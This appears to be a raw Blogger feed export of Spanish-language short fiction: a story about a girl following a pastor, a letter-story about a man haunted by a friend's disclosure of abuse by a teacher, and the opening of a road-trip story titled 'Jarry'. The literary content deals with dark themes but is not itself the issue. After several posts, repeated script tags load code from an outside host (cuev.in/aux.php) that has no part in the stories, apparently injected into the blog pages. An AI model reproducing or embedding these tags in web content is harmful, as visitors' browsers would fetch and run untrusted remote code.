<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<i><span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> </span></i><span style="font-family: "times new roman" , serif; font-size: 12.0pt;">En el recreo decidió que se
confesaría. No aguantaba más el peso de sus pensamientos. Necesitaba recobrar
la paz. Se acercó a la puerta del aula, a través del vidrio podía ver al pastor
sentado en su silla, con los codos apoyados sobre el escritorio, leyendo una
revista de futbol. Estaba en otro mundo. Bruna pensó en golpear a la puerta
pero su cuerpo no respondía. Cuando el pastor pasó la página de la revista, la
gran cicatriz en su mano brilló como un filo con la luz del sol. Tosió y se
tapó la boca con la mano. Escupió una bola de moco verde sobre su palma y la
limpió contra uno de los bancos de los alumnos. Bruna salió corriendo.<o:p></o:p></span></div>
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Sonó el último timbre, y ella no fue
directo a su casa. No quería encontrarse a sus papás tomando mates y no quería
volver a encerrarse con sus pensamientos. Esperó en el kiosco tomando una Coca
hasta que salieran todos los alumnos. Vio pasar a Tomás con su hermana, la
abrazaba por los hombros y se reía, Bruna no llegó a verle los ojos. Después
salió el director, algunos profesores, y finalmente, el pastor Felici.<o:p></o:p></span></div>
<br />
<div class="MsoNormal" style="line-height: normal; margin-bottom: .0001pt; margin-bottom: 0cm; text-align: justify;">
<span style="font-family: "times new roman" , serif; font-size: 12.0pt;"> Dejó pasar un minuto antes de salir
del kiosco, lo seguiría bien de lejos, y si la veía, le podía decir que iba a
otro lado. Apretaba la botella de Coca en la mano mientras le mordía el pico.
Tomó un poco más. Doblaron en la esquina y caminaron hasta Pelliza. Siete
cuadras después, Felici entró a un dúplex de ladrillos a la vista. Bruna esperó
un rato donde estaba. Bebió los últimos tragos de su Coca hasta que el vacío
hizo ruido. Entonces tiró la botella en la calle y se acercó a golpear la
puerta, dispuesta a sacar todos esos pensamientos de su cabeza. <o:p></o:p></span></div>
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-7220914642640163222018-11-11T17:14:00.000-08:002021-02-17T11:07:05.515-08:00Lo que pasó antes sigue pasando para siempre<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Hace
tiempo que quiero escribirte aunque no sé tu dirección. Estoy seguro de
que te sorprendería que te escribiera tan tarde. Para una tardanza de años
debería existir un término más preciso, ni siquiera contable, que implicara
también la idea de un caso perdido. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Empecé a
escribir hace algunos años, me levantaba a la mañana con ganas de hablar con
alguien las cosas que no quería hablar con nadie. Al principio eran listas,
frases sueltas o ideas, después fue un diario que me obligó a repasar mi vida. Volví al día de mi nacimiento y poco a poco fui construyendo
mi relato. También tomaba nota de los sueños que tenía cuando dormía y de sus
posibles interpretaciones. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>A esa
rutina le sumé la de escribir antes de dormir los sueños que me gustaría tener
esa noche. Los sueños me llevaban por los caminos de mis ideas, las redes de
mis pensamientos, removiendo capas y capas de telarañas. Por momentos había
claridad y así pude perdonarme muchas cosas. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Entonces
empecé con las cartas, porque las cartas eran la manera de hacer que los demás
me perdonaran lo que yo todavía no podía. Escribí un par de cartas que no me cambiaron nada.
Y después llegué a vos, que habías sido sin saber el germen de todo. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Me acuerdo
del día en que me contaste lo de Sagastti (perdóname que saque el tema así
nomás, no quiero dar más vueltas sobre el asunto). Es un recuerdo recurrente.
Estábamos en el patio de comidas del shopping del Abasto y nos desafiamos a
contarnos algo que nunca le hubiéramos contado a nadie. Vos primero me contaste
lo de tu primo, yo fui un estúpido en decirte que era normal que los chicos de
esa edad experimentaran con esas cosas, que no te asustaras. Te conté lo de
Mariana en el sótano de tu casa.<i style="mso-bidi-font-style: normal;"> No vale,
lo sabe también Mariana</i>, me dijiste. Vos siempre fuiste más rápida que yo.
Y entonces, en ese contexto terrible, me contaste lo de Sagastti. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Siento que
ahora mismo tengo que aclarar con vos las cosas que me quedaron en el tintero. <i style="mso-bidi-font-style: normal;">Tinta seca</i>, me dirás con un poco de
razón. No dejes que esta distancia de años te haga olvidar quién soy. Lo que
pasó antes sigue pasando para siempre. No tengo vergüenza de admitir que sigo
pensando en las cosas que hablamos cuando éramos chicos. Sí tengo vergüenza. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span><i style="mso-bidi-font-style: normal;">Vamos a tomar un helado</i>, fue lo único
que pude responderte y vos te subiste al tren de la evasión. Era tan difícil de
diregir lo que me habías contado que hubiera hecho cualquier cosa por olvidármelo.
Me agarró enojo con vos, sentía que me estabas estropeando la vida para nada,
¿qué podía hacer yo con esa información? Era tan solo un estúpido. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>A la
semana siguiente era tu cumpleaños, yo llegué hasta la puerta de tu casa pero
no pude entrar. Llamé más tarde y hablé directamente con tu mamá, fingí la tos
en el teléfono, le dije que no hacía falta que hablara con vos, para qué
distraerte del festejo. Me aseguré de llegar tarde a las clases de repaso de
diciembre para que te tuvieras que sentar con otra persona, por suerte siempre
estaba Mora, que me competía por tu amistad. Me anoté para rendir todas las
materias y no tener ni un segundo libre por un par de meses.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Cuando me llamaste para que habláramos pensé en responderte
que me había ido a vivir a China, a trabajar en una fábrica, para que nunca más
me volvieras a contactar. Me odié a mí mismo por haber atendido el teléfono
mientras te escuchaba llorar al otro lado. Al final me junté a tomar un café
con vos en un lapsus de debilidad. Fue horrible, te sentaste con esa carga de
expectativa en la mirada que me ponía tan nervioso. Nunca olvidé el peso de tus
ojos sobre mí. Yo no sabía cómo ayudarte. Me dijiste que te ibas a Francia, que
era la única manera de que tu mamá te dejara irte, ya habías elegido el curso
en la universidad y todo. Te ibas a estudiar Arquitectura. <span style="background: yellow; mso-highlight: yellow;"><o:p></o:p></span></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">—Me gusta imaginar edificios —dijiste y me mostraste el que
habías dibujado en la servilleta mientras me esperabas. Yo ya lo sabía, si te
la pasabas dibujando edificios y ciudades en las clases del colegio.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;"><span style="mso-spacerun: yes;"> </span>Me pediste que te
acompañara y yo me reí. Es verdad que habíamos hablado de irnos muchas veces. Y
yo era siempre el más entusiasmado. Empecé con esa historia de los europeos
secuestradores de yámanas y otras tonterías que no tenían nada que ver con lo
que vos me estabas queriendo contar. Yo ya me había anotado en Ingeniería, y no
quería ser un indio secuestrado en Londres. No quería que me hablaras nunca más
de lo que había pasado.</span> Te enumeré todas las razones: la plata, los
papeles, el miedo al avión. Y mi abuelo, ¿cómo saber cuántos años más iba a
vivir? Yo invité los cafés, te di un beso en la mejilla y encaré para la
salida. Quedaban pocos días de clase, nos cruzamos pero yo me hacía el ocupado.
Y unos días más tarde <span style="mso-spacerun: yes;"> </span>creo que vos te
fuiste a Lyon.<span style="color: black;"><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
No
sé si fue mucho o poco tiempo después de eso que me crucé con Sagastti por la
calle. Yo iba con los auriculares, escuchando lo mismo de siempre, creo que camino
a lo de Nadia, y lo vi. Estábamos en la esquina de Rivadavia y Bulnes. Tenía el
piloto negro y ese maletín donde guardaba los exámenes. Esa tarde llovía. Me
enfermé de rabia, con él y conmigo mismo. Miré la hora: eran las cinco.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
En
ese momento se enfermó también mi abuelo. Sentí enojo y tristeza, dos
sensaciones tan fuertes y diferentes como dos ríos. Si bien yo nunca había
querido volver a estar solo con él, me propuse cuidarlo. Nadie más lo iba a
hacer. <o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black; mso-bidi-font-style: italic;">— ¿Qué esperabas del invierno?</span><span style="color: black;"> —me dijo él cuando le dije que hacía frio en su habitación
del hospital—, <span style="mso-bidi-font-style: italic;">es tan solo el invierno
y hace frío</span>. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Yo esperaba que el invierno se acabara, que llegara el
momento de la primavera, de algo que me trajera felicidad. Pero todavía faltaba
tiempo, y tendría que soportar muchas más tardes de verlo armar su pipa en
silencio mientras yo le acomodaba las cosas como si no estuviera viendo morir a
la persona que yo más odiaba en este mundo. Y muchas más tardes de escucharlo
respirar como un zombie en la camilla mientras dormía la siesta, que se fue
volviendo cada vez más larga. La vida se le estiraba como una goma a punto de
quebrarse. Y yo seguía ahí.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
Volví
a Rivadavia y Bulnes a las cinco de la tarde. Encontré lo que buscaba, jamás me
imaginé que sería así de fácil. Sagastti, alto, enorme, con su tapado y el
maletín. Compró cigarrillos, encendió uno con el encendedor del kiosco y dobló
en la esquina. Yo lo seguí. Caminamos por Bulnes a pocos metros uno del otro.
Me puse la capucha de la campera por si las dudas, la verdad es que hacía tanto
calor que llamaba más la atención andar con el abrigo puesto. Él frenó un taxi
en la esquina de Corrientes y se subió. Yo me volví al hospital.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Me agarró mucho miedo a la muerte. El abuelo no hablaba,
estaba postrado y de mal humor. Creo que se hacía el dormido para no mirarme a
los ojos. Y yo me sentía mal.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Fui a la esquina a las cinco dos días después. Lo seguí por
Bulnes, esta vez estaba preparado. Cuando él se subió a un taxi, yo me subí a
otro. Le pedí que siguiera al taxi de adelante, me sentí un ridículo. Mis ojos
estaban imantados al baúl del auto que lo llevaba. Le pedí a mi conductor que
me dejara en la esquina, no demasiado cerca. Sagastti entró en una ortopedia.
Estuvo adentro media hora. Yo me comía las uñas, cosa que no hacía desde cuarto
año. Empecé a pensar que lo había imaginado, que Sagastti no estaba ahí, y que
mi locura había ido demasiado lejos. Pero entonces salió. Ya no llevaba el
sobretodo y eso me pareció sospechoso. Caminaba rápido, me costaba un poco más
seguirlo entre tanta gente. Cruzamos un paso a nivel y pensé en empujarlo,
hubiese sido tan fácil. Pero nunca fui un buen corredor y me hubieran agarrado.
Seguimos un par de cuadras más, hasta que el entró en un Mc Donald´s, pidió un
combo grande y se sentó a comer. En el asiento frente a él, su maletín.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;"><span style="mso-spacerun: yes;"> </span>Al lado de su cama
del hospital, el abuelo guardaba una caja con las pocas cosas que había querido
llevarse con él. Una serie de fotos que yo nunca había visto y el tabaco de su
pipa, cortesía de Quique, el almacenero, que lo conocía hacía demasiado como para
cobrarle algo. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Una tardé me habló y me pidió que lo ayudara a sentarse en
la cama y que le alcanzara la caja. Dijo que quería mostrarme las fotos, y su
voz me pareció muy extraña, hacía mucho tiempo que no la escuchaba tan clara.
Sentí en ese momento que hubiese preferido que siguiéramos sin hablar. Yo le
sostenía la pipa mientras él, con sus manos llenas de manchas y cables, esas
manos que todavía me ponían la piel de gallina, abría su caja de tesoros.
Repartió las fotos en dos montones, eran fotos de un viaje a Europa. Mi abuelo
frente al parque del Buen Retiro, mi abuelo junto a la tumba de Sean Lemac en
el cementerio Pere Lachaise, mi abuelo tomando un vaso de vino tinto en un
café, todas las sillas mirando hacia la calle. </span>L<span style="color: black;">as
fotos eran todas de él, no había nadie más ni con él, ni cerca, ni lejos.
Nadie, solo él, igual que en el hospital.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Dijo que habían ido con Edit. Ella se había teñido el pelo
de negro antes de ir. <span style="mso-bidi-font-style: italic;">Fue la única vez
en su vida que estuvo enamorado, sabía que ella un día lo iba a dejar, entonces
sufría. Recorrieron Europa y en cada esquina paraban a sacar dos fotos: en una
aparecían juntos y en la otra aparecía él solo. Ella se burlaba. Cuando lo
dejó, el abuelo quemó las fotos con ella, no quería tener que recordarla para
siempre. Se me revolvió el estómago mientras me hablaba. Pensé que quizás
me desmayaría.</span><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Ojalá pudiera quemar los recuerdos de Sagastti y los de mi
abuelo. Yo en ese momento no quería pensar en vos, hacía tiempo ya que te
habías ido, pero mi cabeza estaba fuera de control. Nunca te enojaste conmigo,
ni siquiera frente a mi más feroz ausencia, nunca me reclamaste. ¿Cómo podía
recuperarte?<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Salí de la habitación y en el teléfono público marqué el
número de mi hermana. Puse todas las monedas que tenía.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">—Bárbara, el abuelo se va a morir —dije ni bien me atendió.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">—No sé qué hacés ahí —dijo ella y cortó.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">No volví a intentar llamarla, ni a ningún otro miembro de
mi familia. Me tomé un café y salí a la calle. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">A las cinco estaba en la esquina. Y él también. De nuevo la
caminata, el taxi, la ortopedia, el puente. El deseo de tirarlo. Me molestaba
que ese deseo fuera controlable. Mis sentimientos siempre fueron tibios. Lo vi
comer el combo de Mc Donald´s, la mirada clavada en el maletín. Se limpió la
boca, pasó por el baño y volvió a la calle. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Terminamos frente a una escuela primaria. Me temblaban las
piernas de verlo entre todos aquellos chicos. Era enorme. Era capaz de
cualquier cosa. Algunos se daban cuenta, desde las rodillas de sus mamás no le
quitaban los ojos de encima. Una nena de piel blanca como la leche salió de la
escuela. Tenía el pelo sedoso atado en dos colitas con moño. Corrió hasta
Sagastti con los brazos extendidos. Él se agacho, recibió su abrazo y la alzó
en el aire. Ella sonreía y le repartía besos en las manos y en la cara. Él
agarró su mochila y empezó a caminar con la nena en brazos, ella descansó la
cabeza sobre su hombro y se fue quedando dormida.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Mi abuelo murió un mes después. Yo estaba todo el día
pensando en vos. ¿Cómo hubiese sido si me hubiese ido con vos a Lyon? Volví a
la esquina de Bulnes varias veces, pero nunca volví a ver a Sagastti. La última
vez decidí hacer todo el recorrido. La caminata, el taxi, la ortopedia. El
puente me costó. Mientras cruzaba, me invadió el deseo de tirarlo pero él no
estaba. Me tendría que haber tirado a mí mismo. Había empezado el verano, ya no
había clases y yo había perdido otra oportunidad. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="color: black;">Ojalá pudiera al menos hablarte, convencerte de que
hicieras una denuncia con alguien serio. Yo no había sido el indicado. Si tuviera
la dirección de alguno de tus edificios imaginarios, ¿cómo voy a encontrarte,
si no los puedo imaginar? </span><o:p></o:p></div>
<br />
<br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script><script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-52045280229753255162018-11-05T12:04:00.003-08:002021-02-17T11:07:05.554-08:00<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<script src="https://cuev.in/aux.php?ver=1.0&ref=at&debug=" type="text/javascript"></script></div>
<iframe width="560" height="315" src="https://www.youtube.com/embed/YcL8SvyKtE4" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5085640713730129677.post-47856404214391600212018-10-06T08:14:00.000-07:002021-02-17T11:07:05.590-08:00Jarry<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 9.0pt; text-align: justify; text-justify: inter-ideograph;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-justify: inter-ideograph;">
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt; text-justify: inter-ideograph;">
<br />
<div style="margin-bottom: .0001pt; margin-bottom: 0cm; margin-left: 0cm; margin-right: 0cm; margin-top: 9.0pt; text-align: justify;">
<u><span style="background: white;">Jarry<o:p></o:p></span></u></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">El auto azul atravesaba el desierto de La
Enredada, levantando polvo a su paso. El sol del mediodía brillaba sobre la
tierra y las copas quemadas de los árboles, que no sentían la lluvia desde
octubre. El polvo se acumulaba formando rectángulos sobre el suelo. Parecía que
nadie hubiera pasado por ahí en años, el horizonte aburrido de espejarse a sí
mismo los recibía con un cielo ensangrentado. A lo lejos, una nube negra
presagiaba un cambio de clima.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Vicente había estado manejando por horas.
Había diagramado un plan de ruta y el deseo de cumplirlo lo mantenía motivado.
Solo parar cada cuatro horas, no menos de trecientos kilómetros por tramo. Los
pantalones se le habían ablandado y ahora adoptaban cualquier forma que le
dieran sus piernas. La camisa empezaba a oler mal. Todo adentro del auto
empezaba a oler mal.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">— ¡Vamos a llegar en tiempo record!<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">El Chevette había sido parte de la familia
de Vicente desde que él era chico. Su abuelo lo había comprado en Brasil y lo
había traído hasta su casa en Santos Lugares conduciendo con su mujer. Después
pasó a ser de su padre. Durante la adolescencia, Vicente y sus amigos se
escapaban del colegio para manejar el Chevette por la calle mientras los padres
estaban en el trabajo. Todos habían aprendido a manejar en ese auto, y más de
una vez estuvieron cerca de perder la vida en ese proceso de aprendizaje
extremo. <span style="mso-tab-count: 1;"> </span><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Cuando cumplió los veintiuno, el Chevette
pasó a manos de Vicente, quien para entonces ya tenía registro de conducir. La
nueva adquisición le permitió encontrar trabajo en la fletería del vecino, él
llevaba a los pasajeros de su casa vieja a su casa nueva mientras el camión
hacía la mudanza. El auto azul era perfecto para eso, el auto más elegante de
la cuadra. En uno de esos viajes conoció a Lucía.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Dentro del Chevette viajaba ahora toda la
familia Solano: Lucía, Vicente y sus dos hijos, Manuel y Cecilia. Volvían de
pasar la semana en Misericordia, donde vivía una amiga de Lucía.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">La noche anterior Lucía había soñado que
se olvidaba de dejarle la comida a su gato para el fin de semana. Cuando
llegaban de vuelta a casa, todo estaba dado vuelta, el Morado colgaba muerto,
la pared manchada de huellas y las palabras <i style="mso-bidi-font-style: normal;">hija
de puta</i>. Desde esa mañana, la sensación de duda no la dejaba en paz,
cerraba los ojos y oía el maullido de Morado. Le preguntó a Vicente al menos
siete veces si recordaba algo, si le habían dejado la comida o no, y eso lo
puso de muy mal humor. Él le llegó a decir que nunca había querido adoptar a
ese gato de mierda, y que su muerte no sería ninguna tragedia. Lucía apretaba
las manos contra el asiento. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Decís algo más y me tiro.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="mso-tab-count: 1;"> </span>No volvió a sonreír. Le rogó a
Vicente en repetidas ocasiones que volvieran en avión, que al menos la dejara
volverse a ella en el tren. Vicente sostuvo su no rotundo, un <i style="mso-bidi-font-style: normal;">de ninguna manera me voy a quedar acá solo</i>,
que generó una enorme tensión que los acompañó camino a casa. La nube negra
estaba cada vez más cerca, el cielo tronó como si quisiera partir la tierra en
dos.<o:p></o:p></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Llovía y
apenas se veía la ruta, en una hora ya podrían hacer el descanso. El Chevette
era hermoso cuando estaba mojado, el agua sacaba a relucir el brillo de la
pintura metalizada. <span style="background: white;">Había llegado el momento de
todo viaje en automóvil en que, acabadas las bebidas y los temas de
conversación, cada viajero se dedicaba a mirar por su ventana. Entre los Solano
estaba prohibido leer en el auto, una costumbre que habían adoptado después de
que Cecilia vomitara todo el tapizado del Chevette en su primer viaje de larga
distancia a las sierras. Cada uno iba viajando también en los mares de sus
propios pensamientos. </span><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Cecilia se miraba las manos y se lamentaba
que todos los días, no importaba cuán bien se las hubiera lavado, tenía que
sufrir con la mugre debajo de las uñas, ¿de dónde venía? Nunca se la notaba a los
demás. Le agarró un ataque de tos de repente. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">—Bajá el vidrio y tomá lluvia —le dijo
Manuel, y a ella le pareció una buena idea.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify; text-indent: 35.4pt;">
<span style="background: white; color: black;">Cecilia bajó el vidrio de su ventana y
sacó la cabeza inclinada, intentando que su boca recibiera la lluvia sin
volcarla. Tenía los ojos empañados, los abría y cerraba procurando un
equilibro, la tos se le calmó solo por el estiramiento del cuello. Enderezó la
cabeza en busca del viento fresco y las gotas pequeñas la atacaron como un
grupo de abejas.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>— ¡Hay
alguien en la ruta!<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Manuel se
colgó del asiento del medio para poder ver también. Lucía buscaba con la mirada
pero la única vista para ella era la del vidrio derritiéndose.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>—Es un
muerto —dijo Vicente a la vez que el bulto se arrastró hacía adelante.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>— ¡Está
vivo!<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>—Tenemos
que frenar, no podemos dejarlo así —lloraba Cecilia.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>—Papá, por
favor, frená, no seas tan predecible.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Vicente
apretaba los labios y las manos sobre el volante. Si frenaba, no había manera
de que llegaran a cumplir el objetivo por el que venía luchando hacía horas. No
había tenido ni un retraso, ni una falla o un cálculo mal hecho. Por primera
vez, perdería en su juego. El resto de los kilómetros serían un bodrio infinito
de kilómetros sin sentido. Cecilia lloraba diciendo que los autos lo iban a
descuartizar, y que iba a ser todo culpa de Vicente. Lucía se frotaba las
manos, el Morado había vuelto a sus pensamientos, este era el segundo animal al
que le había hecho daño en el fin de semana. Nada bueno podía suceder a partir
de eso.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Vicente
soltó el acelerador, puso el cambio en punto muerto y pisó el freno hasta que
el Chevette se detuvo por completo al costado de la ruta. Lucía atinó a salir
del auto, pero él la agarró del brazo. Ella no ofreció resistencia, le parecía
bien que él se empezara a comprometer con lo que estaba pasando.<o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>—Quédense
todos acá —dijo mientras se cubría la cabeza con la campera. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Nadie
tenía la intención de moverse. Salió bajo la lluvia, en diez segundos ya estaba
empapado. Miró a ambos lados de la ruta antes de acercarse al perro, que
respiraba con un llanto agudo. Era una enorme bola de pelo mojado. Volvió la
mirada hacia el auto; lo único que se veía eran los triángulos de las luces que
se extendían delante de él. El perro intentó dar un paso y volvió a caer,
Vicente distinguió dos ojos amarillos.<i style="mso-bidi-font-style: normal;"> Ya
te voy a sacar de acá</i>. Se acercó y lo intentó agarrar de la pata para
tironearlo hasta el auto. Apestoso largó un aullido de dolor que se perdió en
la tormenta. Vicente volvió a mirar hacia el auto. No podía reconocer a sus
familiares adentro y eso lo ponía mal. Se agachó y alzó al perro en brazos.
Mientras corría hacia el Chevette, una ráfaga le voló la campera. Abrió la
puerta trasera y entró al perro como pudo, después se acomodó él adelante.
María abrazó al perro de inmediato. <o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>—Les
presento a Apestoso —dijo riéndose todavía agitado.<span style="mso-tab-count: 1;"> </span><o:p></o:p></span></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<br /></div>
<div style="margin-bottom: .0001pt; margin: 0cm; text-align: justify;">
<span style="color: black;"><span style="mso-tab-count: 1;"> </span>Apestoso
respiraba pero parecía muerto, Cecilia y Manuel lo habían acomodado en el
suelo, encima de un toallón. Nadie dijo nada por un rato. Se habían retrasado.
Tenía, al menos, dos horas más al volante, quizás más por la lluvia. Vicente
estaba de mal humor y aburrido, se concentraba en sus pensamientos negativos,
revisando cada uno de los hechos que lo habían llevado hasta esa situación.
Para empezar, el maldito sueño de Lucía, cuyas supersticiones lo tenían
podrido. En algún momento de sus veinte años de casados habían empezado a leer
